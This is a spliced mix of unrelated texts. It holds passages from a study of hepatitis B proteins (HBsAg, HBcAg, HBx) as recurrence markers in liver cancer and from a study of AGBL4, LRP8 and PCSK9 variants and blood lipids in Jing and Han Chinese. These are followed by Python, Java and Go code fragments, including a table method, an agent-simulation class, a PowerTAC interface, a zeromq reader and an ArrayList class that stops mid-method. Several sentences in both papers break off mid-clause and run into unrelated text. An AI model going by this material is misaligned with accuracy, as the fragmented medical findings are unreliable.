multinodular confluent), angioinvasion, large vessel invasion, Edmondson-Steiner (ES) nuclear grade, histologic pattern of the tumor, cellular type of tumor cells (hepatic vs. non-hepatic including giant, pleomorphic, spindle, and clear cell types), and extent of tumor invasion, was collected from pathology reports and review of the slides. Criteria for pathologic T stage (pT) followed the liver tumor staging of the American Joint Committee on Cancer, seventh edition. 13 Clinicopathologic parameters were assessed according to the general rules for examining primary liver cancer. 14 Of the 328 patients, 283 were male and 45 were female (M:F ratio of 6.3:1), with a median age of 55 years (range, 25 to 80 years). The mean size of a tumor was 5.44 cm (range, 0.8 to 24.0 cm). Most patients (92.1%, 302/328) had undergone partial hepatectomy, such as right or left lobectomy, caudate lobectomy, or segmentectomy, whereas the remaining patients (7.9%, 26/328) had undergone total hepatectomy for transplantation. Follow-up periods ranged from 0 to 161 months (median, 51 months). This study was approved by the Institutional Review Board of Seoul National University Hospital (H-1011-046-339).
Tissue microarray construction
Hematoxylin and eosin slides were reviewed, and one representative formalin-fixed paraffin-embedded (FFPE) archival block was selected for each case. Each core tissue biopsy (2 mm in diameter) was taken from individual FFPE blocks (donor blocks) and arranged in recipient paraffin blocks (tissue array blocks) using a trephine. Immunohistochemical studies were performed on 13 array blocks containing 328 HCC samples and on six array blocks containing 155 samples of HCC-adjacent non-neoplastic tissue as a healthy control (Superbiochips Laboratories, Seoul, Korea). Each tissue microarray had four cores of normal liver, normal bile duct, and normal gastrointestinal tract mucosa as a negative control.
Immunohistochemistry and interpretation
Sections (4 μm) were stained for HBcAg (1:800, hepatitis B core antigen rabbit polyclonal antibody, Cat. No. B0586, DAKO, Copenhagen, Denmark), HBsAg (1:200, HBsAg mouse monoclonal antibody, clone number S1-210, Cell Marque, Rocklin, CA, USA), and HBx (1:100, HBx mouse monoclonal antibody, clone number 3F6-G10, Thermo, Rockford, IL, USA) after antigen retrieval using a microwave and pH 6.0 citrate buffer. The slides were stained according to methods specified in the Ultravision LP kit (Lab Vision, Fremont, CA, USA) or the Envision kit (Dako, Glostrup, Denmark) using the Bond polymer Refine Detection kit (Leica, Wetzlar, Germany). Unequivocal cytoplasmic staining for HBsAg in more than 5% of tumor cells was considered positive, and unequivocal nuclear and cytoplasmic staining for HBcAg in more than 5% of tumor cells was considered positive as described in a previous study. 4 For HBx, both cytoplasmic and nuclear staining were observed in tumorous and nontumorous liver tissue; thus, we separately assessed the cytoplasmic and nuclear expression of HBx. The intensity of cytoplasmic staining was graded as weak, moderate, or strong by two pathologist (H.Y.Jung and K.-B.Lee), and a grade higher than moderate was considered as positive criteria. Nuclear staining was assessed by image analysis of digitally scanned slides (Nuclear V9 algorithm, ScanScope, Aperio Technologies, Vista, CA, USA). The intensity of nuclear staining was graded as 1+ (intensity range, 230 to 210), 2+ (intensity range, 210 to 188), or 3+ (intensity range, 188 to 162), and more than 5% of tumor cells with more than 2+ intensity were considered as positive criteria.
Statistical analysis
Comparative analysis of HBsAg, HBcAg, and HBx expression with clinicopathologic parameters was assessed using the chisqaure test. Survival analysis was performed using the Kaplan-Meier method. The results were considered statistically significant when p-values were < .05. All calculations were performed using the PASW statistics ver. 18.0 (SPSS Inc., Chicago, IL, USA).
Positive rates of HBsAg, HBcAg, and HBx expression in HCC
The representative immunohistochemical stainings and expression rates of HBsAg, HBcAg, and HBx in the nucleus and cytoplasm are summarized in Table 1 and Fig. 1, respectively. Among the 328 patients with HBV, the positive rate for HBsAg was significantly lower in HCC than in nontumorous tissue (7.3% vs 57.4%, respectively; p < .001), and the positive rate for nuclear HBx was higher in HCC than in nontumorous tissue ( The clinicopathologic features and expression of HBsAg, HB-cAg, and HBx are summarized in Table 2. HBsAg-expressing HCCs had lower ES nuclear grade and lower pT stage than HCCs without HBsAg expression (p < .001 and p = .013, respectively). HBcAg was more frequently expressed in well-differentiated HCCs (lower ES grade) and in HCCs without preoperative treatment, such as transarterial chemoembolization, radiofrequency ablation, or percutaneous ethanol injection, as well as in patients who had lower serum AFP (p = .018, p = .037, and p = .015, respectively). Cytoplasmic expression of HBx was associated with similar features: lower ES nuclear grade, smaller tumor size, less frequent angioinvasion, lower pT stage, and a lower serum AFP level compared to HCCs not expressing cytoplasmic HBx (p < .05) ( Table 2). Compared to HBsAg and HBcAg, nuclear HBx was more frequently expressed in HCCs with higher ES grade and with large-vessel invasion (p = .008, and p = .017, respectively). Although nuclear HBx was more frequently expressed in HCCs with high ES nuclear grade, the histologic pattern of HCCs with nuclear HBx expression was mostly trabecular and retained the hepatic cell type (p = .002 and p = .086, respectively) ( Table 2). Age and sex were not different between HBV protein positive groups and negative groups (data not shown).
Correlation between serum hepatitis B markers and expression of HBV proteins in HCC
We set out to test whether the serum level of hepatitis B markers or the expression profile of nontumorous liver tissue showed any correlation with the expression of HBV proteins in HCCs. All patients with HBsAg-positive HCCs were HBsAg positive in serum. Patients with positive serum HBeAb results showed lower positive rates of HBsAg in HCCs than did patients with negative serum HBeAb ( To test whether the HBsAg, HBcAg, or HBx status of tumors influences cancer progression, we analyzed DFS time after operation in the 328 patients with HBV-associated HCC using Kaplan-Meier analysis. We could not determine any correlation between DFS time and the expression status of HBsAg, HBcAg, and HBx in tumors and nontumorous tissue or the serum levels of hepatitis markers (data not shown). The size and multiplicity of the tumor, angioinvasion, ES nuclear grade, and the extent of tumor invasion were statistically significant prognostic factors for tumor recurrence in the entire sample of 328 patients (data not shown). The low frequency of positive HBsAg in HCCs and well-differentiated histology of HBsAg-expressing HCCs may be a confounder of the above-mentioned negative results in the entire group, so we stratified the study group and analyzed pro-gression-free survival in 99 patients with early-stage (pT1) and well-differentiated HCC (ES nuclear grade 1 and 2); these patients were a relatively low-risk group for HCC recurrence. In 48.5% (48/99) of the patients, the tumor recurred and median DFS time was 84 months, ranging from 2 to 153 months. As shown in Table 3, nuclear HBx in tumors was a statistically sig- nificant prognostic factor (p = .015), whereas the presence of HB-sAg in a tumor showed a tendency for poor prognosis of earlystage HCCs, but did not reach statistical significance (p = .095). Cytoplasmic expression of HBx in tumor and nontumorous tissue was not associated with tumor recurrence. In nontumorous liver tissue, HBsAg-, HBcAg-, and HBx-positive patients had a relatively lower median DFS, but this effect was statistically insignificant (log-rank p > .05) ( Table 3). The presence of HBsAg in the tumor, serum, and nontumorous tissue was correlated with shorter DFS and early recurrence compared to HBsAg-negative patients, as shown in Fig. 2, but this effect was not statistically significant (Table 3). Survival analysis for the high-risk group (advanced stages, pT2-4) or higher nuclear grade (ES nuclear grade 3 and 4) showed no significant difference in DFS according to the status of HBV-associated proteins in serum, tumor, and nontumor tissues (data not shown).
DISCUSSION
In this study, we found that the expression of HBsAg, representing normal viral replication in infected cells, is less frequent in tumors than nontumorous hepatocytes, and HBx, which is one of the key proteins in hepatocarcinogenesis, could be preferentially expressed in different subcellular compartments. The nuclear expression of HBx occurs more frequently in tumors than in nontumorous hepatocytes, whereas the cytoplasmic expression of HBx is less frequent in tumors, according to our results. HCCs with pronounced expression of HBsAg have well-differentiated histology, but HCCs with nuclear expression of HBx showed increased nuclear atypia and aggressive behavior. When the test group is restricted to well-differentiated and to early-stage tumors to minimize the influence of tumor-related prognostic factors, then HCCs expressing nuclear HBx proteins show a higher risk of early recurrence after operation.
Persistence of HBx is important for the pathogenesis of early HCC development, and HBx expression in the liver during chronic HBV infection may be an important prognostic marker for the development of HCC. 5,12 Even seronegative HBV patients have HBx gene and protein expression in HCC, which are consistent with the hepatocarcinogenic properties of HBx. 15 The subcellular location of HBx, as assessed by immunohistochemistry in previous studies, is generally in the cytoplasm of hepatocytes or tumor cells and is consistent with the biological functions of HBx, i.e., protein-protein interactions in cytoplasmic signaling pathways. 5 The biological role of HBx in the nucleus may involve direct interaction with DNA, RNA, or transcription factors, but the existing data are scarce. Recently, it was shown in an in vitro study using a human cell line that when HBx is targeted to the nucleus by a nuclear localization signal, it can restore HBx-deficient HBV replication, whereas HBx containing a nuclear export signal cannot, suggesting that nuclear localization of HBx is required for viral replication. 16 In addition, chipbased chromatin immunoprecipitation with expression microarray profiling for HCCs identified 184 gene targets that might be directly deregulated by HBx via targeting from indirect protein-DNA binding as well as transcriptional factors directly interacting with HBx. 17 Our results show that nuclear, not cytoplasmic, HBx expression correlates with aggressiveness of HCC tumors, such as nuclear grade or large vessel invasion, and with early recurrence after an operation. These data suggest that the interaction of HBx with nuclear proteins might be more important for tumor progression than for cytoplasmic interactions of HBx. Although the HBx protein may be involved in metastasis and tumor invasiveness by regulating proteins that control the extracellular matrix, angiogenesis, or epithelial mesenchymal transition, the reason for the paucity of clinical evidence regarding the HBx protein and HCC recurrence or prognosis could be the difficulties with interpretation of HBx immunohistochemistry. In the majority of the studies on HBx, cytoplasmic staining was considered positive expression, and nuclear staining was not investigated. 15,18,19,22 Because we minimized the influence of wellknown prognostic factors, such as vascular invasion, size, multiplicity, extent of tumor invasion, and differentiation, by selecting HCCs of pT1 stage and ES nuclear grade 1 and 2, we expected that HBx in nontumorous tissue would be a prognostic factor, but the results showed that it was not. We tried to find a link between the pattern of recurrence and the HBx expression, but the recurrence pattern (presented as a single intrahepatic mass versus multiple or disseminated intrahepatic or extrahepatic masses) was not different depending on the HBx expression in tumor and non-tumor tissues. However, nuclear HBx (-) HCCs both in tumor and nontumor were more frequently presented as a single intrahepatic mass at recurrence time after resection (rate of a single intrahepatic mass, HBx_nu in tumor and non-tumor vs HBx_nu in tumor or non-tumor 59.3% vs 37.0% , p = .388), but this result was not statistically significant. Further research is needed to understand how nuclear expression of HBx promotes tumor recurrence before pathologic features of tumor aggressiveness have appeared.
The mechanism of HCC recurrence in HBV patients is regrowth of microscopically or macroscopically leftover tumor cells or de novo occurrence of HCC. The viral influence on HCC recurrence can be explained by the de novo tumor recurrence. Su et al. 23 reported that a higher serum HBV DNA load was an important risk factor associated with recurrence in patients with HBVassociated HCC without antiviral therapy after resection, but this observation was not applicable in advanced stage HCC. Tsai et al. 10 reported that a ground-glass hepatocyte pattern or HBsAg expression in nontumorous liver tissues was a prognos-tic marker for the recurrence of HBV-related HCC after hepatic resection; these data also support the viral influence on HCC recurrence. Our finding that HBsAg-expressing HCCs recur earlier than do HBsAg-negative HCCs in patients with early-stage and well-differentiated HCC is in line with the previous reports except for the source of HBsAg production, although this finding was not statistically significant.
Last, our results were limited due to the one core-construct of the tissue microarrays that were used. However, staining on full sections for preliminary study showed that staining pattern was relatively patched, but generally weak to moderate areas were alternatively mixed with strongly stained areas, not totally negative areas, and the size of the study groups (n = 483) might be large enough to compensate this problem.
In summary, we report that nuclear expression of HBx in HBV-associated HCCs increases in tumors compared to nontumorous tissue, and HBsAg-expressing HCCs have a tendency to recur early, even if they are well-differentiated histologically and the surgical procedure is performed at an early stage. Tissue expression of HBsAg was correlated with serum HBsAg. Nuclear expression of HBx in tumor tissue assessed by immunohistochemistry can be a useful prognostic marker for prediction of tumor recurrence in early-stage HCC patients and may ultimately lead to novel therapeutic strategies for managing HBVassociated HCC and for researching HBV-associated hepatocarcinogenesis.
Conflicts of Interest
No potential conflict of interest relevant to this article was reported. |
def notify_height_changed(self):
new_table_height = sum([row.height for row in self.rows])
self._graphic_frame.height = new_table_height |
/**
* The tactical model of a human agent.
*
* @author S.A.M. Janssen
*/
public abstract class TacticalModel implements Updatable {
/**
* The activity module.
*/
private ActivityModule activityModule;
/**
* The navigation module.
*/
private NavigationModule navigationModule;
/**
* Creates a new tactical model.
*
* @param activityModule
* The activity module.
* @param navigationModule
* The navigation module.
*/
public TacticalModel(ActivityModule activityModule, NavigationModule navigationModule) {
this.activityModule = activityModule;
this.navigationModule = navigationModule;
}
/**
* Gets the active {@link Activity}.
*
* @return The active {@link Activity}.
*/
public Activity getActiveActivity() {
return activityModule.getActiveActivity();
}
/**
* Gets a {@link Collection} of {@link Activity}s.
*
* @return The {@link Activity}s.
*/
public Collection<Activity> getActivities() {
return activityModule.getActivities();
}
/**
* Gets the activity module.
*
* @return The activity module.
*/
public ActivityModule getActivityModule() {
return activityModule;
}
/**
* Gets the goal {@link Position}.
*
* @return The goal position.
*/
public Position getGoalPosition() {
return navigationModule.getGoalPosition();
}
/**
* Gets the list of goal positions {@link Position}.
*
* @return The goal positions.
*/
public List<Position> getGoalPositions() {
return navigationModule.getGoalPositions();
}
/**
* Gets the navigation module.
*
* @return The navigation module.
*/
public NavigationModule getNavigationModule() {
return navigationModule;
}
/**
* Checks if the agent reached its goal {@link Position}.
*
* @return True if the goal is reached, false otherwise.
*/
public boolean getReachedGoal() {
return navigationModule.getReachedGoal();
}
/**
* Initializes the {@link HumanAgent}.
*
* @param map
* The map.
* @param agent
* The agent.
* @param movement
* The movement model.
* @param observations
* The observation module.
* @param planner
* The activity planner.
* @param activities
* The activities.
*/
public void init(Map map, HumanAgent agent, MovementModule movement, ObservationModule observations,
PlanningModule planner, Collection<Activity> activities) {
navigationModule.init(map, movement, activityModule, observations);
activityModule.init(map, agent, movement, observations, activities, planner, navigationModule);
}
/**
* Determines if the agent is queuing.
*
* @return True if he is queuing, false otherwise.
*/
public boolean isQueuing() {
return activityModule.isQueuing();
}
/**
* Sets the goal position.
*
* @param position
* The goal position.
*/
public void setGoal(Position position) {
navigationModule.setGoal(position);
}
/**
* Sets the agent in front of the queue.
*/
public void setInFrontOfQueue() {
activityModule.setInFrontOfQueue();
}
/**
* Sets the agents queuing mode.
*
* @param time
* The time. If the time equals -1, the agent queues
* indefinitely.
*/
public void setQueuing(double time) {
activityModule.setQueuing(time);
}
/**
* Sets a short term goal {@link Position} for the agent. It is to be
* executed right away.
*
* @param position
* The goal position.
*/
public void setShortTermGoal(Position position) {
navigationModule.setShortTermGoal(position);
}
/**
* Sets a set of short term goal {@link Position}s for the agent. It is to
* be executed right away.
*
* @param positions
* The goal positions.
*/
public void setShortTermGoals(List<Position> positions) {
navigationModule.setShortTermGoals(positions);
}
@Override
public void update(int timeStep) {
// activity
activityModule.update(timeStep);
// navigation
navigationModule.update(timeStep);
}
} |
Integrative mutation, haplotype and G × G interaction evidence connects ABGL4, LRP8 and PCSK9 genes to cardiometabolic risk
This study is expected to investigate the association of ATP/GTP binding protein-like 4 (AGBL4), LDL receptor related protein 8 (LRP8) and proprotein convertase subtilisin/kexin type 9 (PCSK9) gene single nucleotide variants (SNVs) with lipid metabolism in 2,552 individuals (Jing, 1,272 and Han, 1,280). We identified 12 mutations in this motif. The genotype and allele frequencies of these variants were different between the two populations. Multiple-locus linkage disequilibrium (LD) elucidated the detected sites are not statistically independent. Possible integrative haplotypes and gene-by-gene (G × G) interactions, comprising mutations of the AGBL4, LRP8 and PCSK9 associated with total cholesterol (TC, AGBL4 G-G-A, PCSK9 C-G-A-A and G-G-A-A-C-A-T-T-T-G-G-A), triglyceride (TG, AGBL4 G-G-A, LRP8 G-A-G-C-C, PCSK9 C-A-A-G, A-A-G-G-A-G-C-C-C-A-A-G and A-A-G-G-A-G-C-C-C-G-A-A), HDL cholesterol (HDL-C, AGBL4 A-A-G and A-A-G-A-A-G-T-C-C-A-A-G) and the apolipoprotein(Apo)A1/ApoB ratio (A1/B, PCSK9 C-A-A-G) in Jing minority. However, in the Hans, with TG (AGBL4 G-G-A, LRP8 G-A-G-C-C, PCSK9 C-A-A-G, A-A-G-G-A-G-C-C-C-A-A-G and A-A-G-G-A-G-C-C-C-G-A-A), HDL-C (LRP8 A-A-G-T-C), LDL-C (LRP8 A-A-G-T-C and A-A-G-A-A-G-T-C-C-A-A-G) and A1/B (LRP8 A-C-A-T-T and PCSK9 C-A-A-G). Association analysis based on haplotype clusters and G × G interactions probably increased power over single-locus tests especially for TG.
(rs533375 C > T, rs584626 A > G, rs585131 A > G and rs540796 G > A) associated with lipid phenotypic variations in the Jing and Han populations. Furthermore, we wanted to test if the association analysis of these loci based on haplotype clusters and G × G interactions increase power over single-locus tests.
Results
Study participants. Demographic, epidemiological and clinical characteristics of the 2, 552 analyzed study subjects are summarized in Table 1. The values of body mass index (BMI), waist circumference (WC) and the percentage of individuals whom consumed alcohol were higher, as well as the level of systolic blood pressure (SBP) was lower in Jing than Han (P < 0.05-0.001). For plasma lipid phenotypic variations, there were higher plasma TC and TG levels, as well as lower A1/B in Jing (P < 0.001, for each). However, no difference was noted in fasting plasma glucose, HDL-C and LDL-C levels between the two ethnic groups (P > 0.05 for all).
Haplotype-based association. Multiple-locus linkage disequilibrium (LD) elucidated the detected sites were not statistically independent separately in each population. Figures 3 and 4 show the LD blocks and the haplotypes for blocks separately in the Jing and Han ethnic groups. As shown in Table 4, the commonest haplotypes were AGBL4 A-A-G, LRP8 G-A-G-C-C and PCSK9 C-A-A-G (> 50% of the samples). The frequencies of T-G-G-A haplotypes were quantitative significantly different between the Jing and Han populations (P < 0.05-0.001). We confirmed that the AGBL4, LRP8 and PCSK9 haplotypes were associated with TC (AGBL4 G-G-A and PCSK9 C-G-A-A), TG (AGBL4 G-G-A, LRP8 G-A-G-C-C and PCSK9 C-A-A-G), HDL-C (AGBL4 A-A-G), ApoA1 (PCSK9 C-A-A-G), and A1/B (PCSK9 C-A-A-G) in Jing minority. However, they were associated with TG (AGBL4 G-G-A, LRP8 G-A-G-C-C and PCSK9 C- Fig. 5).
Integrative association analysis of mutation, haplotype and G × G interaction. Table 6 depicts the integrative association analysis of mutation, haplotype and G × G interaction of AGBL4, LRP8 and PCSK9 with lipid phenotypic variations separately in the two ethnic groups. Generalized linear models adjusted for age, gender, BMI, WC, SBP, DBP, pulse pressure, cigarette smoking, alcohol consumption and fasting plasma glucose level demonstrated mutations, haplotypes and G × G interactions of AGBL4, LRP8 and PCSK9 quantitative significantly correlated with lipid-related traits. (P < 0.05-0.001). Furthermore, the association analysis based on haplotype clusters and G × G interactions probably increased power over single-locus tests especially for TG.
Discussion
The main finding of the present study encompass (i) it elucidated the frequencies of mutation, haplotype and the G × G inter-locus interaction among AGBL4, LRP8 and PCSK9 genes in the Jing ethnic minority and Han population, which may be proposed as an potential supplement to the 1000 Genomes database (ii) it gave integrative mutation, haplotype and G × G interaction evidence to prove there are possible interaction between the AGBL4, LRP8 and PCSK9 genes and serum lipid concentrations; and (iii) it demonstrated association analysis based on haplotype clusters and G × G interactions probably increased power over single-locus tests especially for TG. Aspects of primary prevention differ in some respects in ethnic minority groups when compared with general population 17 . Jing, as a group of migrants from Vietnam to south of China, maintains the higher cardiometabolic risk especially higher TC and TG, and lower A1/B ratio than local Han population living in the same natural and social environments. It is important to recognize that definitions of cardiometabolic risk especially dyslipidemia derived in local Han population perhaps inappropriate for ethnic minority groups. Resulting disease risks may remain difference in second and third generation migrants, even though blood pressure, fasting plasma glucose level and cigarette smoking lifestyle are converging towards those of the general Han population. Our present study pronounces differences in genetics values. The challenge now is to ensure that prevention and treatment services are ready to respond to these demographic and ethnic structure. Epidemiological survey has revealed that the Jing ethnic minority maintains genetic homogeneity. In the present study, all of the mutations satisfied with HWE separately in each population. It has been proved that the Jing and Han populations have different genetic ancestry from a statistical point of view. Our results showed that there was quantitative significantly different distributions of the detected 12 mutations of AGBL4, LRP8 and PCSK9 genes, their haplotypes and their G × G inter-locus interactions between the Jing and Han populations. These genetic heterogeneity may be correlated with the heterogeneousness of cardiometabolic risk especially dyslipidemia between the Jing and Han populations.
Environmental exposures cannot be ignored. We summarized the values of weight, BMI and WC were significantly different between the two populations. Maybe they are related with the custom of fish intake. Jing is an oceanic ethnic minority like Kinh populations in North Vietnam, survival relying on fishing 18 . Maybe there are differences in saturated fatty acid (SFA), polyunsaturated tatty acid (PUFA; n-3 PUFA and n-6 PUFA), and monounsaturated fatty acid (MUFA) 19 intake to compare with the local Han population in their diet structure. Unfortunately it is only a hypothesis, because lack of dietary intake data. Consensus exists pertaining to the scientific evidence regarding effects of various those bad dietary fatty acids rich in fish on cardiometabolic risk including lipid phenotypic variations reported in a previous study 20 . What's more, the cardiometabolic risk is known to be lower in light-to-moderate alcohol drinkers than in abstainers 21 . The effects of alcohol on lipid metabolism, especially the HDL cholesterol-elevating effects, are thought to greatly contribute to the cardio-protective action of alcohol 22 . On the other hand, excessive alcohol consumption has been shown to cause hypertriglyceridemia 23,24 , which is a prevalent risk factor for CVD. With regard to mechanisms underlying the effects of alcohol on lipid metabolism , alcohol consumption has been shown to increase the activity of lipoprotein lipase and decrease the activity of cholesteryl ester transfer protein, resulting in elevation of HDL cholesterol 28 . Hypertriglyceridemia induced by excessive alcohol drinking may be mainly due to an increase in the synthesis of large very low-density lipoprotein (VLDL) particles in the liver. Consistently, the % of participants who consumed alcohol was different between the two groups. Wine culture plays a pivotal role in the history of China Han ethnic group. Many Han populations are good at alcohol consumption, especially in festivals.
Our data come from nuclear family and pedigree data, unfortunately, pedigree information were not documented. Heritability is a measure of familial resemblance 29 . Estimating the heritability of a trait represents one of the first steps in the gene mapping process. Or we can estimate heritability for quantitative traits from nuclear and pedigree data using the ASSOC program in the Statistical Analysis for Genetic Epidemiology (S.A.G.E.) software package. Estimating heritability rests on the assumption that the total phenotypic variance of a quantitative trait can be partitioned into independent genetic and environmental components 30 .
A number of clinical studies have demonstrated that inhibition of PCSK9 alone and in addition to statins potently reduces lipid phenotypic variation concentrations 31,32 . Plasma lipid phenotypic variation especially plasma TG level is heritable and modifiable 33 . Several groups have successfully to identify signals for TG and other lipid traits, including HDL-C, LDL-C, and TC 34 . However, the lead GWAS signals may not themselves be functional rather in LD with the actual underlying susceptibility mutations. The limitation in GWAS derives from the fact that the human genome is superficially screened using single independently tag SNVs. It is acknowledged that complex disease is not caused by or associated with one single variant. The functional mutation often acts through regional gene mutations, including haplotypes and G × G interactions. Therefore, GWAS, epigenome-wide association studies (EWAS) and transcriptome-wide association studies (TWAS) are only a starting and require subsequent fine mapping and functional validation to identify the actual susceptibility variants and gene interactions. AGBL4, LRP8 and PCSK9 genes are neighbors. Integrative mutations, haplotypes and G × G interactions evidence connects AGBL4, LRP8 and PCSK9 gene to lipid phenotypic variations perhaps can further elaborate the clinical application of PCSK9 inhibitors. There are several limitations in our study. Firstly, the number of participants available for minor allele frequency (MAF) of some mutations was not high enough to calculate a strong power as compared with many previous GWAS and replication studies. Secondly, as an association analysis and observation study, inherent methodologic limitations that generate bias and confounding mean that causal inferences cannot reliably be drawn. Thirdly, take into consideration the randomized clinical trials (RCTs) provide the best opportunity to control for confounding and avoid certain biases. Consequently, well-designed, high-quality further therapeutic intervention study, including prophylactic agent, treatment, surgical approach, or diagnostic test is needed. Moreover, there are still many unmeasured environmental and genetic factors including TFA, SFA, PUFA (including n-3 PUFA and n-6 PUFA) and MUFA that needed to be considered. In addition, the relevance of this finding has to be defined in further high caliber of studies including incorporating the genetic information of AGBL4, LRP8 and PCSK9 gene mutations, haplotypes and G × G interactions in vivo and vitro functional studies to confirm the impact of a variant on a molecular level including transcription and expression. The last but not the least, discussion of race and ethnicity in medicine must rigorously avoid polarization and the further perpetuation of disparate health care.
In summary, there are potential interaction between the AGBL4, LRP8 and PCSK9 genes and serum lipid concentrations. And the association analysis based on haplotype clusters and G × G interactions probably increased power over single-locus tests especially for TG. These genetic heterogeneity may be correlated with the heterogeneousness of cardiometabolic risk between the Jing and Han populations. Differences in lipid phenotypic variations between the two populations might partially attribute to AGBL4, LRP8 and PCSK9 gene mutations, haplotypes and G × G interactions.
Materials and Methods
Ethical approval. The study were carried out following the rules of the Declaration of Helsinki of 1975 Subjects. Two groups of study population including 1272 unrelated participants of Jing (624 males, 49.06% and 648 females, 50.94%) and 1280 unrelated subjects of Han (636 males, 49.69% and 644 females, 50.31%) were randomly selected from our previous stratified randomized samples 35 . All participants were rural fishery (Jing) and/or agricultural (Han) workers from the three islands of Wanwei, Wutou and Shanxin in the county of Fangchenggang in the province of Guangxi, China, near the Sino-Vietnamese border. The participants' age ranged The gender ratio and age distribution were matched between the two groups. All participants were essentially healthy with no history of coronary artery disease, stroke, diabetes, hyper-or hypo-thyroids, and chronic renal disease. They were free from medications known to affect lipid profiles.
Epidemiological survey. The epidemiological survey was carried out using internationally standardized method, following a common protocol 36 . Information on demographics, socioeconomic status, and lifestyle factors were collected with standardized questionnaires. Cigarette smoking status was categorized into groups of cigarettes per day: ≤ 20 and > 20 37 . Alcohol consumption was categorized into groups of grams of alcohol per day: ≤ 25 and > 25 38 . Several parameters such as blood pressure, height, weight and WC were measured, while BMI (kg/m 2 ) was calculated. BMI was categorized into four groups: underweight (BMI < 18.5), normal weight (18.5 ≤ BMI < 24), overweight (24 ≤ BMI < 28) and Obesity (28 ≤ BMI) 39 . Likewise, WC was categorized into groups including normal group (WC ≤ 85 for male and WC ≤ 80 for female) and abdominal obesity (WC > 85 for male and WC > 80 for female) 40 .
Biochemical measurements.
A fasting venous blood sample of 5 ml was drawn from the participants. The levels of fasting plasma TC, TG, HDL-C and LDL-C in the samples were determined by enzymatic methods with commercially available kits. Fasting plasma ApoA1 and ApoB levels were assessed by the immuneturbidimetric immunoassay. . Quantitative variables were presented as the mean ± SD for those, that are normally distributed, whereas the medians and interquartile ranges for TG, which is not normally distributed. General characteristics between the two groups were compared by the ANCOVA. The distributions of the genotype, allele, haplotype and G × G interaction between the two groups were analyzed by the chi-squared test; The HWE, Pair-wise LD, frequencies of haplotype and G × G interaction comprising the mutations were calculated using Haploview (version 4.2; Broad Institute of MIT and Harvard). The association of the genotypes, haplotypes and G × G interactions with lipid phenotypic variations was tested by the Univariant. Any variants associated with the lipid phenotypic variations at a value of P < 0.05 were considered statistically significant. Generalized linear Continued models were used to assess the association of the genotypes (common homozygote genotype = 1, heterozygote genotype = 2, rare homozygote genotype = 3), alleles (the minor allele non-carrier = 1, the minor allele carrier = 2), haplotypes (the haplotype non-carrier = 1, the haplotype carrier = 2) and G × G interactions (the G × G interaction non-carrier = 1, the G × G interaction carrier = 2) with lipid phenotypic variations. The model of age, gender, BMI, WC, SBP, DBP, pulse pressure, cigarette smoking, alcohol consumption and fasting plasma glucose level were adjusted for the statistical analysis. The pattern of pair-wise LD between the selected mutations was measured by D′ and r 2 using the Haploview software. |
<filename>server-interface/src/main/java/org/powertac/common/interfaces/InitializationService.java
/*
* Copyright 2011 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific language
* governing permissions and limitations under the License.
*/
package org.powertac.common.interfaces;
import java.util.List;
import org.powertac.common.Competition;
/**
* Implementations of this interface are expected to initialize individual
* plugins prior to the beginning of a game. Before initialization, the database
* will contain only a single Competition instance, and possibly the Brokers that
* will be participating in the game.
* <p>
* Because some plugins may depend on the initialization of other plugins (for example,
* the default broker may depend on the tariff market and accounting service so that it
* can successfully publish its tariffs), the completedInits argument contains the
* list of plugin roles that have already been successfully initialized. If the
* completedInits list contains the names of all the plugins that must be initialized
* before the plugin being initialized, then the initialization can proceed, and the
* plugin must return its role name. If a plugin returns null, then
* it will be assumed that its dependencies are not satisfied, and it will be called again
* after all other plugins have been initialized. As long as there are no cycles in
* the dependency graph, this approach will terminate.</p>
* <p>
* To make it easy to configure individual games through a web interface, they
* must be re-created before the configuration process begins. This is
* accomplished by calling the setDefaults method at bootstrap time and after
* the end of each game. There should be no sequence dependencies for this process.
*
* @author <NAME>
*/
public interface InitializationService
{
//@Deprecated
//public void setDefaults();
/**
* Initializes a plugin prior to the beginning of a game. The completedInits
* parameter is the list of plugin role names that have been successfully initialized.
* If sequence dependencies are satisfied (or if there are no sequence dependencies),
* then an implementation must complete its pre-game initialization process and return
* its role name. If sequence dependencies are not satisfied, then an implementation
* must return null. It will be called again after additional successful initializations
* have been completed. If initialization is not possible, then returning the string
* 'fail' will cause the server to log an error and shut down. This will be helpful
* just in case the implementation also logs a detailed error message.
*/
public String initialize (Competition competition, List<String> completedInits);
}
|
// Read provides an io.Reader interface to a zeromq socket
// DEPRECATED: see goczmq.ReadWriter
func (s *Sock) Read(p []byte) (int, error) {
var totalRead int
var totalFrame int
frame, flag, err := s.RecvFrame()
if err != nil {
return totalRead, err
}
if s.GetType() == Router {
s.clientIDs = append(s.clientIDs, string(frame))
} else {
totalRead += copy(p[:], frame[:])
totalFrame += len(frame)
}
for flag == FlagMore {
frame, flag, err = s.RecvFrame()
if err != nil {
return totalRead, err
}
totalRead += copy(p[totalRead:], frame[:])
totalFrame += len(frame)
}
if totalFrame > len(p) {
err = ErrSliceFull
} else {
err = nil
}
return totalRead, err
} |
<filename>BACS2063 Data Structures and Algorithms/Chapter4SourceCode/adt/ArrayList.java
package adt;
import java.io.Serializable;
public class ArrayList<T> implements ListInterface<T>, Serializable {
private T[] array;
private int numberOfEntries;
private static final int DEFAULT_CAPACITY = 5;
public ArrayList() {
this(DEFAULT_CAPACITY);
}
public ArrayList(int initialCapacity) {
numberOfEntries = 0;
array = (T[]) new Object[initialCapacity];
}
@Override
public boolean add(T newEntry) {
array[numberOfEntries] = newEntry;
numberOfEntries++;
return true;
}
@Override
public boolean add(int newPosition, T newEntry) {
boolean isSuccessful = true;
if ((newPosition >= 1) && (newPosition <= numberOfEntries + 1)) {
makeRoom(newPosition);
array[newPosition - 1] = newEntry;
numberOfEntries++;
} else {
isSuccessful = false;
}
return isSuccessful;
}
@Override
public T remove(int givenPosition) {
T result = null;
if ((givenPosition >= 1) && (givenPosition <= numberOfEntries)) {
result = array[givenPosition - 1];
if (givenPosition < numberOfEntries) {
removeGap(givenPosition);
}
numberOfEntries--;
}
return result;
}
@Override
public void clear() {
numberOfEntries = 0;
}
@Override
public boolean replace(int givenPosition, T newEntry) {
boolean isSuccessful = true;
if ((givenPosition >= 1) && (givenPosition <= numberOfEntries)) {
array[givenPosition - 1] = newEntry;
} else {
isSuccessful = false;
}
